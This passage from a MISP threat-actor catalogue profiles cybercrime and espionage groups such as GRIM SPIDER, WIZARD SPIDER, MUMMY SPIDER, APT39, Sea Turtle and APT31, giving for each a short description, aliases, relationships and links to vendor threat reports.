https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-returns-with-a-new-bag-of-tricks-602104
https://www.secureworks.com/research/threat-profiles/gold-tahoe
https://www.telekom.com/en/blog/group/article/eager-beaver-a-short-overview-of-the-restless-threat-actor-ta505-609546
https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/
https://www.secureworks.com/blog/how-cyber-adversaries-are-adapting-to-exploit-the-global-pandemic
https://cyberthreat.thalesgroup.com/attackers/ATK103
https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/
https://www.tenable.com/blog/cve-2020-1472-advanced-persistent-threat-actors-use-zerologon-vulnerability-in-exploit-chain

GRIM SPIDER

GRIM SPIDER is a sophisticated eCrime group that has been operating the Ryuk ransomware since

August 2018, targeting large organizations for a high-ransom return. This methodology, known as “big game hunting,” signals a shift in operations for WIZARD SPIDER, a criminal enterprise of which GRIM SPIDER appears to be a cell. The WIZARD SPIDER threat group, known as the Russia-based operator of the TrickBot banking malware, had focused primarily on wire fraud in the past. Similar to Samas and BitPaymer, Ryuk is specifically used to target enterprise environments. Code comparison between versions of Ryuk and Hermes ransomware indicates that Ryuk was derived from the Hermes source code and has been under steady development since its release. Hermes is commodity ransomware that has been observed for sale on forums and used by multiple threat actors. However, Ryuk is only used by GRIM SPIDER and, unlike Hermes, Ryuk has only been used to target enterprise environments. Since Ryuk’s appearance in August, the threat actors operating it have netted over 705.80 BTC across 52 transactions for a total current value of $3,701,893.98 USD. Grim Spider is reportedly associated with Lunar Spider and Wizard Spider.

The tag is: *misp-galaxy:threat-actor="GRIM SPIDER"*

GRIM SPIDER is also known as:

- GOLD ULRICK

Table 18292. Table References

Links
https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/
https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html

WIZARD SPIDER

Wizard Spider is reportedly associated with Grim Spider and Lunar Spider. The WIZARD SPIDER threat group is the Russia-based operator of the TrickBot banking malware. This group represents a growing criminal enterprise of which GRIM SPIDER appears to be a subset. The LUNAR SPIDER threat group is the Eastern European-based operator and developer of the commodity banking malware called BokBot (aka IcedID), which was first observed in April 2017. The BokBot malware provides LUNAR SPIDER affiliates with a variety of capabilities to enable credential theft and wire fraud, through the use of webinjects and a malware distribution function. GRIM SPIDER is a sophisticated eCrime group that has been operating the Ryuk ransomware since August 2018, targeting large organizations for a high-ransom return. This methodology, known as “big game hunting,” signals a shift in operations for WIZARD SPIDER, a criminal enterprise of which GRIM SPIDER appears to be a cell. The WIZARD SPIDER threat group, known as the Russia-based operator of the TrickBot banking malware, had focused primarily on wire fraud in the past.

The tag is: *misp-galaxy:threat-actor="WIZARD SPIDER"*

WIZARD SPIDER is also known as:

- TEMP.MixMaster
- GOLD BLACKBURN

- FIN12
- Periwinkle Tempest
- DEV-0193
- Storm-0193
- Trickbot LLC
- UNC2053
- Pistachio Tempest
- DEV-0237
- Storm-0230

View relationships graph

WIZARD SPIDER has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Periwinkle Tempest" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Pistachio Tempest" with estimative-language:likelihood-probability="likely"

Table 18293. Table References

Links
https://labs.sentinelone.com/top-tier-russian-organized-cybercrime-group-unveils-fileless-stealthy-powertrick-backdoor-for-high-value-targets/
https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/
https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/
https://www.crowdstrike.com/blog/wizard-spider-lunar-spider-shared-proxy-module/
https://www.crowdstrike.com/blog/wizard-spider-adds-new-feature-to-ryuk-ransomware/
https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware
https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html
https://www.secureworks.com/research/threat-profiles/gold-ulrick
https://www.secureworks.com/research/dyre-banking-trojan
https://www.secureworks.com/blog/how-cyber-adversaries-are-adapting-to-exploit-the-global-pandemic
https://www.secureworks.com/blog/trickbot-modifications-target-us-mobile-users
http://www.secureworks.com/research/threat-profiles/gold-blackburn
https://strapi.eurepoc.eu/uploads/Eu_Repo_C_APT_profile_Conti_Wizard_Spider_dc2a733e18.pdf

https://www.prodaft.com/m/reports/WizardSpider_TLPWHITE_v.1.4.pdf
https://securityintelligence.com/posts/itg23-crypters-cooperation-between-cybercriminal-groups/
https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/

MUMMY SPIDER

MUMMY SPIDER is a criminal entity linked to the core development of the malware most commonly known as Emotet or Geodo. First observed in mid-2014, this malware shared code with the Bugat (aka Feodo) banking Trojan. However, MUMMY SPIDER swiftly developed the malware's capabilities to include an RSA key exchange for command and control (C2) communication and a modular architecture. MUMMY SPIDER does not follow typical criminal behavioral patterns. In particular, MUMMY SPIDER usually conducts attacks for a few months before ceasing operations for a period of between three and 12 months, before returning with a new variant or version. After a 10 month hiatus, MUMMY SPIDER returned Emotet to operation in December 2016 but the latest variant is not deploying a banking Trojan module with web injects, it is currently acting as a 'loader' delivering other malware packages. The primary modules perform reconnaissance on victim machines, drop freeware tools for credential collection from web browsers and mail clients and a spam plugin for self-propagation. The malware is also issuing commands to download and execute other malware families such as the banking Trojans Dridex and Qakbot. MUMMY SPIDER advertised Emotet on underground forums until 2015, at which time it became private. Therefore, it is highly likely that Emotet is operate

The tag is: *misp-galaxy:threat-actor="MUMMY SPIDER"*

MUMMY SPIDER is also known as:

- TA542
- GOLD CRESTWOOD

Table 18294. Table References

Links
https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-february-mummy-spider/
https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta542-banker-malware-distribution-service
https://www.proofpoint.com/us/blog/threat-insight/comprehensive-look-emotets-summer-2020-return
https://www.secureworks.com/research/threat-profiles/gold-crestwood

STARDUST CHOLLIMA

Open-source reporting has claimed that the Hermes ransomware was developed by the North Korean group STARDUST CHOLLIMA (activities of which have been public reported as part of the “Lazarus Group”), because Hermes was executed on a host during the SWIFT compromise of FEIB in October 2017.

The tag is: *misp-galaxy:threat-actor="STARDUST CHOLLIMA"*

STARDUST CHOLLIMA is also known as:

- Sapphire Sleet

View relationships graph

STARDUST CHOLLIMA has relationships with:

- similar: misp-galaxy:threat-actor="Lazarus Group" with estimative-language:likelihood-probability="likely"

Table 18295. Table References

Links
https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/

Cold River

In short, “Cold River” is a sophisticated threat (actor) that utilizes DNS subdomain hijacking, certificate spoofing, and covert tunneled command and control traffic in combination with complex and convincing lure documents and custom implants.

The tag is: *misp-galaxy:threat-actor="Cold River"*

Cold River is also known as:

- Nahr Elbard
- Nahr el bared

Table 18296. Table References

Links
https://www.lastline.com/labsblog/threat-actor-cold-river-network-traffic-analysis-and-a-deep-dive-on-agent-drable/

Silence group

a relatively new threat actor that’s been operating since mid-2016 Group-IB has exposed the attacks committed by Silence cybercriminal group. While the gang had previously targeted Russian banks,

Group-IB experts also have discovered evidence of the group's activity in more than 25 countries worldwide. Group-IB has published its first detailed report on tactics and tools employed by Silence. Group-IB security analysts' hypothesis is that at least one of the gang members appears to be a former or current employee of a cyber security company. The confirmed damage from Silence activity is estimated at 800 000 USD. Silence is a group of Russian-speaking hackers, based on their commands language, the location of infrastructure they used, and the geography of their targets (Russia, Ukraine, Belarus, Azerbaijan, Poland, and Kazakhstan). Although phishing emails were also sent to bank employees in Central and Western Europe, Africa, and Asia). Furthermore, Silence used Russian words typed on an English keyboard layout for the commands of the employed backdoor. The hackers also used Russian-language web hosting services.

The tag is: *misp-galaxy:threat-actor="Silence group"*

Silence group is also known as:

- Silence
- WHISPER SPIDER

Table 18297. Table References

Links
https://reaqta.com/2019/01/silence-group-targeting-russian-banks/
https://www.group-ib.com/blog/silence
https://securelist.com/the-silence/83009/

APT39

APT39 was created to bring together previous activities and methods used by this actor, and its activities largely align with a group publicly referred to as "Chafer." However, there are differences in what has been publicly reported due to the variances in how organizations track activity. APT39 primarily leverages the SEAWEED and CACHEMONEY backdoors along with a specific variant of the POWBAT backdoor. While APT39's targeting scope is global, its activities are concentrated in the Middle East. APT39 has prioritized the telecommunications sector, with additional targeting of the travel industry and IT firms that support it and the high-tech industry.

The tag is: *misp-galaxy:threat-actor="APT39"*

APT39 is also known as:

- Chafer
- REMIX KITTEN
- COBALT HICKMAN
- G0087
- Radio Serpens
- TA454
- ITG07

- Burgundy Sandstorm

Table 18298. Table References

Links
https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html
https://www.symantec.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions
https://unit42.paloaltonetworks.com/new-python-based-payload-mechaflounder-used-by-chafer/
https://securelist.com/chafer-used-remexi-malware/89538/
https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets
https://attack.mitre.org/groups/G0087/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.secureworks.com/research/threat-profiles/cobalt-hickman
https://unit42.paloaltonetworks.com/atoms/radioserpens/
https://securityintelligence.com/posts/observations-of-itg07-cyber-operations/

Siesta

FireEye recently looked deeper into the activity discussed in TrendMicro's blog and dubbed the "Siesta" campaign. The tools, modus operandi, and infrastructure used in the campaign present two possibilities: either the Chinese cyber-espionage unit APT1 is perpetrating this activity, or another group is using the same tactics and tools as the legacy APT1. The Siesta campaign reinforces the fact that analysts and network defenders should remain on the lookout for known, public indicators and for shared attributes that allow security experts to detect multiple actors with one signature.

The tag is: *misp-galaxy:threat-actor="Siesta"*

Table 18299. Table References

Links
https://www.fireeye.com/blog/threat-research/2014/03/a-detailed-examination-of-the-siesta-campaign.html

Gallmaker

Symantec researchers have uncovered a previously unknown attack group that is targeting government and military targets, including several overseas embassies of an Eastern European country, and military and defense targets in the Middle East. This group eschews custom malware and uses living off the land (LotL) tactics and publicly available hack tools to carry out activities that bear all the hallmarks of a cyber espionage campaign. The group, which we have given the name Gallmaker, has been operating since at least December 2017, with its most recent activity

observed in June 2018.

The tag is: *misp-galaxy:threat-actor="Gallmaker"*

Table 18300. Table References

Links
https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group

BOSS SPIDER

Throughout 2018, CrowdStrike Intelligence tracked BOSS SPIDER as it regularly updated Samas ransomware and received payments to known Bitcoin (BTC) addresses. This consistent pace of activity came to an abrupt halt at the end of November 2018 when the U.S. DoJ released an indictment for Iran-based individuals Faramarz Shahi Savandi and Mohammad Mehdi Shah Mansouri, alleged members of the group.

The tag is: *misp-galaxy:threat-actor="BOSS SPIDER"*

BOSS SPIDER is also known as:

- GOLD LOWELL

Table 18301. Table References

Links
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/
https://www.secureworks.com/research/threat-profiles/gold-lowell
https://www.secureworks.com/blog/samsam-converting-opportunity-into-profit
https://www.secureworks.com/blog/samas-ransomware
https://www.secureworks.com/blog/ransomware-deployed-by-adversary
https://www.secureworks.com/research/samsam-ransomware-campaigns

PINCHY SPIDER

First observed in January 2018, GandCrab ransomware quickly began to proliferate and receive regular updates from its developer, PINCHY SPIDER, which over the course of the year established a RaaS operation with a dedicated set of affiliates. CrowdStrike Intelligence has recently observed PINCHY SPIDER affiliates deploying GandCrab ransomware in enterprise environments, using lateral movement techniques and tooling commonly associated with nation-state adversary groups and penetration testing teams. This change in tactics makes PINCHY SPIDER and its affiliates the latest eCrime adversaries to join the growing trend of targeted, low-volume/high-return ransomware deployments known as “big game hunting.” PINCHY SPIDER is the criminal group behind the development of the ransomware most commonly known as GandCrab, which has been active since January 2018. PINCHY SPIDER sells access to use GandCrab ransomware under a partnership program with a limited number of accounts. The program is operated with a 60-40 split in profits (60 percent to the customer), as is common among eCrime actors, but PINCHY SPIDER is

also willing to negotiate up to a 70-30 split for “sophisticated” customers.

The tag is: *misp-galaxy:threat-actor="PINCHY SPIDER"*

Table 18302. Table References

Links
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/
https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

GURU SPIDER

Early in 2018, CrowdStrike Intelligence observed GURU SPIDER supporting the distribution of multiple crimeware families through its flagship malware loader, Quant Loader.

The tag is: *misp-galaxy:threat-actor="GURU SPIDER"*

Table 18303. Table References

Links
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/

SALTY SPIDER

Beginning in January 2018 and persisting through the first half of the year, CrowdStrike Intelligence observed SALTY SPIDER, developer and operator of the long-running Sality botnet, distribute malware designed to target cryptocurrency users.

The tag is: *misp-galaxy:threat-actor="SALTY SPIDER"*

Table 18304. Table References

Links
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

NOMAD PANDA

In the first quarter of 2018, CrowdStrike Intelligence identified NOMAD PANDA activity targeting Central Asian nations with exploit documents built with the 8.t tool.

The tag is: *misp-galaxy:threat-actor="NOMAD PANDA"*

Table 18305. Table References

Links
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/

Flash Kitten

This suspected Iran-based adversary conducted long-running SWC campaigns from December 2016 until public disclosure in July 2018. Like other Iran-based actors, the target scope for FLASH KITTEN appears to be focused on the MENA region.

The tag is: *misp-galaxy:threat-actor="Flash Kitten"*

Table 18306. Table References

Links
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/

TINY SPIDER

According to CrowdStrike, this actor is using TinyLoader and TinyPOS, potentially buying access through Dridex infections.

The tag is: *misp-galaxy:threat-actor="TINY SPIDER"*

Table 18307. Table References

Links
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/

LUNAR SPIDER

According to CrowdStrike, this actor is using BokBok/IcedID, potentially buying distribution through Emotet infections. On March 17, 2019, CrowdStrike Intelligence observed the use of a new BokBot (developed and operated by LUNAR SPIDER) proxy module in conjunction with TrickBot (developed and operated by WIZARD SPIDER), which may provide WIZARD SPIDER with additional tools to steal sensitive information and conduct fraudulent wire transfers. This activity also provides further evidence to support the existence of a flourishing relationship between these two actors. Lunar Spider is reportedly associated withGrim Spider and Wizard Spider.

The tag is: *misp-galaxy:threat-actor="LUNAR SPIDER"*

LUNAR SPIDER is also known as:

- GOLD SWATHMORE

Table 18308. Table References

Links
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/
https://www.crowdstrike.com/blog/wizard-spider-lunar-spider-shared-proxy-module/
https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/

https://www.secureworks.com/research/threat-profiles/gold-swathmore

RATPAK SPIDER

In July 2018, the source code of Pegasus, RATPAK SPIDER's malware framework, was anonymously leaked. This malware has been linked to the targeting of Russia's financial sector. Associated malware, Buhtrap, which has been leaked previously, was observed this year in connection with SWC campaigns that also targeted Russian users.

The tag is: *misp-galaxy:threat-actor="RATPAK SPIDER"*

Table 18309. Table References

Links
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/

Operation Kabar Cobra

The tag is: *misp-galaxy:threat-actor="Operation Kabar Cobra"*

Table 18310. Table References

Links
http://download.ahnlab.com/kr/site/library/%5bAnalysis_Report%5dOperation_Kabar_Cobra.pdf
https://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?menu_dist=2&curPage=1&seq=28102

APT-C-36

Since April 2018, an APT group (Blind Eagle, APT-C-36) suspected coming from South America carried out continuous targeted attacks against Colombian government institutions as well as important corporations in financial sector, petroleum industry, professional manufacturing, etc.

The tag is: *misp-galaxy:threat-actor="APT-C-36"*

APT-C-36 is also known as:

- Blind Eagle

Table 18311. Table References

Links
https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/
https://www.ecucert.gob.ec/wp-content/uploads/2022/03/alerta-APTs-2022-03-23.pdf
https://blogs.blackberry.com/en/2023/02/blind-eagle-apt-c-36-targets-colombia

https://lab52.io/blog/apt-c-36-recent-activity-analysis/
https://www.trendmicro.com/en_ph/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html
https://research.checkpoint.com/2023/blindeagle-targeting-ecuador-with-sharpened-tools/
https://attack.mitre.org/groups/G0099/

IRIDIUM

Resecurity's research indicates that the attack on Parliament is a part of a multi-year cyberespionage campaign orchestrated by a nation-state actor whom we are calling IRIDIUM. This actor targets sensitive government, diplomatic, and military resources in the countries comprising the Five Eyes intelligence alliance (which includes Australia, Canada, New Zealand, the United Kingdom and the United States)

The tag is: *misp-galaxy:threat-actor="IRIDIUM"*

View relationships graph

IRIDIUM has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Seashell Blizzard" with estimative-language:likelihood-probability="likely"

Table 18312. Table References

Links
https://www.nbcnews.com/politics/national-security/iranian-backed-hackers-stole-data-major-u-s-government-contractor-n980986
https://threatpost.com/ranian-apt-6tb-data-citrix/142688/
https://hub.packtpub.com/resecurity-reports-iriduim-behind-citrix-data-breach-200-government-agencies-oil-and-gas-companies-and-technology-companies-also-targeted/

SandCat

SandCat, on the other hand, is a group that was discovered more recently by Kaspersky. One of the Windows vulnerabilities patched by Microsoft in December had been exploited by both FruityArmor and SandCat in attacks targeting the Middle East and Africa. SandCat has been using FinFisher/FinSpy spyware and CHAINSHOT, a piece of malware analyzed earlier this year by Palo Alto Networks. The group has also used the CVE-2018-8589 and CVE-2018-8611 Windows vulnerabilities in its attacks, both of which had a zero-day status when Microsoft released fixes.

The tag is: *misp-galaxy:threat-actor="SandCat"*

Table 18313. Table References

Links

https://securelist.com/zero-day-in-windows-kernel-transaction-manager-cve-2018-8611/89253/

Operation Comando

Operation Comando is a pure cybercrime campaign, possibly with Brazilian origin, with a concrete and persistent focus on the hospitality sector, which proves how a threat actor can be successful in pursuing its objectives while maintaining a cheap budget. The use of DDNS services, publicly available remote access tools, and having a minimum knowledge on software development (in this case VB.NET) has been enough for running a campaign lasting month, and potentially gathering credit card information and other possible data.

The tag is: *misp-galaxy:threat-actor="Operation Comando"*

Table 18314. Table References

Links
https://unit42.paloaltonetworks.com/operation-comando-or-how-to-run-a-cheap-and-effective-credit-card-business/

APT-C-27

A threat actor which is ac tive since at least November 2014. This group launched long-term at tacks against organizations in the Syrian region using Android and Windows malwares. Its objective is the theft of sensitive information.

The tag is: *misp-galaxy:threat-actor="APT-C-27"*

APT-C-27 is also known as:

- GoldMouse
- Golden RAT
- ATK80

Table 18315. Table References

Links
https://ti.360.net/blog/articles/apt-c-27-(goldmouse):-suspected-target-attack-against-the-middle-east-with-winrar-exploit-en/
https://ti.360.net/blog/articles/analysis-of-apt-c-27/
https://web.archive.org/web/20180827024318/http://csecybsec.com/download/zlab/20180723_CSE_APT27_Syria_v1.pdf

Operation ShadowHammer

Newly discovered supply chain attack that leveraged ASUS Live Update software. The goal of the attack was to surgically target an unknown pool of users, which were identified by their network

adapters' MAC addresses. To achieve this, the attackers had hardcoded a list of MAC addresses in the trojanized samples and this list was used to identify the actual intended targets of this massive operation. We were able to extract more than 600 unique MAC addresses from over 200 samples used in this attack. Of course, there might be other samples out there with different MAC addresses in their list.

The tag is: *misp-galaxy:threat-actor="Operation ShadowHammer"*

Table 18316. Table References

Links
https://securelist.com/operation-shadowhammer/89992/

Whitefly

In July 2018, an attack on Singapore's largest public health organization, SingHealth, resulted in a reported 1.5 million patient records being stolen. Until now, nothing was known about who was responsible for this attack. Symantec researchers have discovered that this attack group, which we call Whitefly, has been operating since at least 2017, has targeted organizations based mostly in Singapore across a wide variety of sectors, and is primarily interested in stealing large amounts of sensitive information.

The tag is: *misp-galaxy:threat-actor="Whitefly"*

Table 18317. Table References

Links
https://www.symantec.com/blogs/threat-intelligence/whitefly-espionage-singapore
https://www.reuters.com/article/us-singapore-cyberattack/cyberattack-on-singapore-health-database-steals-details-of-1-5-million-including-pm-idUSKBN1KA14J

Sea Turtle

This blog post discusses the technical details of a state-sponsored attack manipulating DNS systems. While this incident is limited to targeting primarily national security organizations in the Middle East and North Africa, and we do not want to overstate the consequences of this specific campaign, we are concerned that the success of this operation will lead to actors more broadly attacking the global DNS system. DNS is a foundational technology supporting the Internet. Manipulating that system has the potential to undermine the trust users have on the internet. That trust and the stability of the DNS system as a whole drives the global economy. Responsible nations should avoid targeting this system, work together to establish an accepted global norm that this system and the organizations that control it are off-limits, and cooperate in pursuing those actors who act irresponsibly by targeting this system.

The tag is: *misp-galaxy:threat-actor="Sea Turtle"*

Sea Turtle is also known as:

- COSMIC WOLF
- Marbled Dust
- SILICON
- Teal Kurma
- UNC1326

View relationships graph

Sea Turtle has relationships with:

- similar: misp-galaxy:microsoft-activity-group="Marbled Dust" with estimative-language:likelihood-probability="likely"

Table 18318. Table References

Links
https://blog.talosintelligence.com/2019/04/seaturtle.html
https://blog.talosintelligence.com/sea-turtle-keeps-on-swimming
https://www.reuters.com/article/us-cyber-attack-hijack-exclusive/exclusive-hackers-acting-in-turkeys-interests-believed-to-be-behind-recent-cyberattacks-sources-idUSKBN1ZQ10X
https://icann.zoom.us/recording/play/AhQB4AQyjCuEJGz2wQQans0Xqkz3su8swGLQoORJhdECw9ttz0TbuyzBlue85gIY
https://community.icann.org/download/attachments/109483867/Cybersecurity%20and%20the%20ICANN%20Ecosystem.pdf
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.domaintools.com/resources/blog/finding-additional-indicators-with-passive-dns-within-domaintools-iris
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2022GTR.pdf
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi?id=101738
https://threatintel.eu/2020/02/25/on-sea-turtle-campaign-targeting-greek-governmental-organisations-timeline
https://www.mandiant.com/resources/blog/global-dns-hijacking-campaign-dns-record-manipulation-at-scale
https://www.virusbulletin.com/uploads/pdf/magazine/2019/VB2019-Mercer-Rascagneres.pdf
https://www.youtube.com/watch?v=ws1k44ZhJ3g
https://www.bsi.bund.de/DE/Themen/Unternehmen-und-Organisationen/Cyber-Sicherheitslage/Analysen-und-Prognosen/Threat-Intelligence/Aktive_APT-Gruppen/aktive-apt-gruppen_node.html

Silent Librarian

Last Friday, Deputy Attorney General Rod Rosenstein announced the indictment of nine Iranians who worked for an organization named the Mabna Institute. According to prosecutors, the defendants stole more than 31 terabytes of data from universities, companies, and government agencies around the world. The cost to the universities alone reportedly amounted to approximately $3.4 billion. The information stolen from these universities was used by the Islamic Revolutionary Guard Corps (IRGC) or sold for profit inside Iran. PhishLabs has been tracking this same threat group since late-2017, designating them Silent Librarian. Since discovery, we have been working with the FBI, ISAC partners, and other international law enforcement agencies to help understand and mitigate these attacks.

The tag is: *misp-galaxy:threat-actor="Silent Librarian"*

Silent Librarian is also known as:

- COBALT DICKENS
- Mabna Institute
- TA407
- TA4900
- Yellow Nabu

Table 18319. Table References

Links
https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment
https://info.phishlabs.com/blog/silent-librarian-university-attacks-continue-unabated-in-days-following-indictment
https://www.justice.gov/usao-sdny/pr/nine-iranians-charged-conducting-massive-cyber-theft-campaign-behalf-islamic
https://www.justice.gov/opa/pr/nine-iranians-charged-conducting-massive-cyber-theft-campaign-behalf-islamic-revolutionary
https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again
https://www.secureworks.com/blog/back-to-school-cobalt-dickens-targets-universities
https://www.proofpoint.com/us/threat-insight/post/seems-phishy-back-school-lures-target-university-students-and-staff
https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian
https://www.secureworks.com/research/threat-profiles/cobalt-dickens
https://community.riskiq.com/article/44eb0802
https://www.proofpoint.com/us/corporate-blog/post/iranian-state-sponsored-and-aligned-attacks-what-you-need-know-and-steps-protect

APT31

FireEye characterizes APT31 as an actor specialized on intellectual property theft, focusing on data and projects that make a particular organization competetive in its field. Based on available data (April 2016), FireEye assesses that APT31 conducts network operations at the behest of the Chinese Government. Also according to Crowdstrike, this adversary is suspected of continuing to target upstream providers (e.g., law firms and managed service providers) to support additional intrusions against high-profile assets. In 2018, CrowdStrike observed this adversary using spear-phishing, URL “web bugs” and scheduled tasks to automate credential harvesting.

The tag is: *misp-galaxy:threat-actor="APT31"*

APT31 is also known as:

- ZIRCONIUM
- JUDGMENT PANDA
- BRONZE VINEWOOD
- Red keres
- Violet Typhoon
- TA412
- Zirconium

View relationships graph

APT31 has relationships with:

- similar: misp-galaxy:microsoft-activity-group="ZIRCONIUM" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Violet Typhoon" with estimative-language:likelihood-probability="likely"

Table 18320. Table References

Links
https://www.microsoft.com/security/blog/2017/03/27/detecting-and-mitigating-elevation-of-privilege-exploit-for-cve-2017-0005/
https://duo.com/decipher/apt-groups-moving-down-the-supply-chain
https://go.recordedfuture.com/hubfs/reports/cta-2019-0206.pdf
https://redalert.nshc.net/2019/12/03/threat-actor-targeting-hong-kong-activists
https://twitter.com/bkMSFT/status/1201876664667582466
https://www.secureworks.com/research/bronz-vinewood-uses-hanaloader-to-target-government-supply-chain
https://www.secureworks.com/research/bronze-vinewood-targets-supply-chains
https://www.secureworks.com/research/threat-profiles/bronze-vinewood

https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

https://research.checkpoint.com/2021/the-story-of-jian

https://supo.fi/-/suojelupoliisi-tunnisti-eduskuntaan-kohdistuneen-kybervakoiluoperaation-apt31-ksi

https://poliisi.fi/-/eduskunnan-tietojarjestelmiin-kohdistuneen-tietomurron-tutkinnassa-selvitetaan-yhteytta-apt31-toimijaan

https://pst.no/alle-artikler/pressemeldinger/etterforskningen-av-datanettverksoperasjonen-mot-fylkesmannsembetene-er-avsluttet

https://www.nrk.no/norge/pst_-har-etterretning-om-at-kinesisk-gruppe-stod-bak-dataangrep-mot-statsforvaltere-1.15540601

https://www.ncsc.gov.uk/news/uk-allies-hold-chinese-state-responsible-for-pervasive-pattern-of-hacking

https://www.gov.uk/government/news/uk-and-allies-hold-chinese-state-responsible-for-a-pervasive-pattern-of-hacking

https://www.foreignminister.gov.au/minister/marise-payne/media-release/australia-joins-international-partners-attribution-malicious-cyber-activity-china

https://www.consilium.europa.eu/en/press/press-releases/2021/07/19/declaration-by-the-high-representative-on-behalf-of-the-eu-urging-china-to-take-action-against-malicious-cyber-activities-undertaken-from-its-territory/

https://www.cert.ssi.gouv.fr/ioc/CERTFR-2021-IOC-003

https://twitter.com/bkMSFT/status/1417823714922610689

https://www.mandiant.com/resources/insights/apt-groups

https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf

https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi

https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf

https://www.proofpoint.com/us/blog/threat-insight/above-fold-and-your-inbox-tracing-state-aligned-activity-targeting-journalists

https://www.fortinet.com/blog/psirt-blogs/importance-of-patching-an-analysis-of-the-exploitation-of-n-day-vulnerabilities

https://intrusiontruth.wordpress.com/2023/05/11/article-1-whats-cracking-at-the-kerui-cracking-academy

https://intrusiontruth.wordpress.com/2023/05/12/the-illustrious-graduates-of-wuhan-kerui

https://intrusiontruth.wordpress.com/2023/05/13/all-roads-lead-back-to-wuhan-xiaoruizhi-science-and-technology-company

https://intrusiontruth.wordpress.com/2023/05/15/trouble-in-paradise

https://intrusiontruth.wordpress.com/2023/05/16/introducing-cheng-feng

https://intrusiontruth.wordpress.com/2023/05/17/missing-links
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Common-TTPs-of-attacks-against-industrial-organizations-implants-for-remote-access-En.pdf
https://asec.ahnlab.com/ko/55070
https://intrusiontruth.wordpress.com/2023/07/04/wuhan-xiaoruizhi-class-of-19
https://intrusiontruth.wordpress.com/2023/07/07/one-man-and-his-lasers
https://www.verfassungsschutz.de/SharedDocs/publikationen/DE/cyberabwehr/2023-02-bfv-cyber-brief.pdf?blob=publicationFile&v=6
https://www.justice.gov/opa/pr/seven-hackers-associated-chinese-government-charged-computer-intrusions-targeting-perceived
https://www.justice.gov/opa/media/1345141/dl?inline
https://www.gov.uk/government/news/uk-holds-china-state-affiliated-organisations-and-individuals-responsible-for-malicious-cyber-activity
https://harfanglab.io/en/insidethelab/apt31-indictment-analysis/

Blackgear

